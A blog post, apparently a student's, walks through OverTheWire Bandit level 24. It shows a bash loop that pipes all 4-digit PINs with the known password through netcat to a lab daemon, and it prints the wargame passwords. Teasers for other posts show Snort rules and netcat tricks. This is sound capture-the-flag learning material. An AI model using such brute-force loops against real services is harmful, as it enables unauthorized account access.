Skip to main content

Bandit 24 Over The Wire

Lessons Learned

writing bash scripts that can brute force pins

Logging in

On a kali vm/ linux machine

Type:

ssh bandit24@bandit.labs.overthewire.org -p 2220
UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ

Completing The Challenge

The Goal:

A daemon is listening on port 30002 and will give you the password for bandit25 if given the password for bandit24 and a secret numeric 4-digit pincode. There is no way to retrieve the pincode except by going through all of the 10000 combinations, called brute-forcing.

The Solution:

create a file in the /tmp folder, fill in the folder with the following:

for ((i=1000; i < 10000; i++)); do
        echo "UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i"
done | nc localhost 30002

In this code i looked up for loops, but i ended up looking up what to do to get a for loop on netcat, someone gave an answer with no context on Stack Overflow and it was the first result. a much better link is http://www.softpanorama.org/Scripting/Shellorama/Control_structures/pipes_in_loops.shtml, this link explains the concept quite a bit better.

then:

run the file
bandit24@bandit:~$ bash /tmp/hellotra

Wrong! Please enter the correct pincode. Try again.
Wrong! Please enter the correct pincode. Try again.
Correct!
The password of user bandit25 is uNG9O58gUE7snukf3bvZ0rxhtnjzSGzG

Exiting.

Labels:

Comments

Post a Comment

Popular posts from this blog

Snort Challenge - The Basics

Rules Ive Used # This file intentionally does not come with signatures.  Put your local # additions here. # alert icmp any any <> any any (msg: "IP ID 35369 Found"; id:35369; sid: 1000001; rev:1) # log tcp any any <> any any (msg: "ALL SYN FLAGS"; flags:S;  sid: 1000001; rev:1;) # log tcp any any <> any any (msg: "ALL SYN FLAGS"; flags:P,A;  sid: 1000001; rev:1;) # log ip any any <> any any (msg: "SAME-IP IN IP"; sameip; sid:1000001; rev:1;)#This was not used in the first snort, they only wanted the next 2 rules, which showed less dups log udp any any <> any any (msg: "SAME-IP IN TCP"; sameip; sid:1000001; rev:1;) log tcp any any <> any any (msg: "SAME-IP IN UDP"; sameip; sid:1000002; rev:1;)  Snort Params: Some Sniffer mode parameters are explained in the table below; Parameter Description -v Verbose. Display the TCP/IP output in the console. -d Display the packet data (payload). -e Display
Post a Comment
Read more

Bandit 20 Over The Wire

Lessons Learned using nc to create a steady connection, also on background and foreground processes Logging in On a kali vm/ linux machine Type: ssh bandit20@bandit.labs.overthewire.org -p 2220 GbKksEFF4yrVs6il55v6gwY5aVje5f0j Completing The Challenge The Goal: There is a setuid binary in the homedirectory that does the following: it makes a connection to localhost on the port you specify as a commandline argument. It then reads a line of text from the connection and compares it to the password in the previous level (bandit20). If the password is correct, it will transmit the password for the next level (bandit21). The Solution: bandit20@bandit:~$ nc -l -p 2000 ^Z [1]+  Stopped                 nc -l -p 2000 bandit20@bandit:~$ ./suconnect 2000 ^Z [2]+  Stopped                 ./suconnect 2000 bandit20@bandit:~$ fg 1 nc -l -p 2000 GbKksEFF4yrVs6il55v6gwY5aVje5f0j ^Z [1]+  Stopped                 nc -l -p 2000 bandit20@bandit:~$ fg 2 ./suconnect 2000 Read: GbKksEFF4yrVs6il55v6gwY5aVje5f0j
Post a Comment
Read more

Bandit 11 Over The Wire

 Lessons Learned using cyberchef for things like rot13 Logging in On a kali vm/ linux machine Type: ssh bandit11@bandit.labs.overthewire.org -p 2220  IFukwKGsFW8MOq3IRFqrxE1hxTNEbUPR Completing The Challenge The Goal: The password for the next level is stored in the file data.txt , where all lowercase (a-z) and uppercase (A-Z) letters have been rotated by 13 positions The Solution: bandit11@bandit:~$ cat data.txt Gur cnffjbeq vf 5Gr8L4qetPEsPk8htqjhRK8XSP6x2RHh   The password is 5Te8Y4drgCRfCx8ugdwuEX8KFC6k2EUu This is known as rot13 and many free websites exist to solve this issue. CyberChef is a very good site/tool for this and can be downloaded
Post a Comment
Read more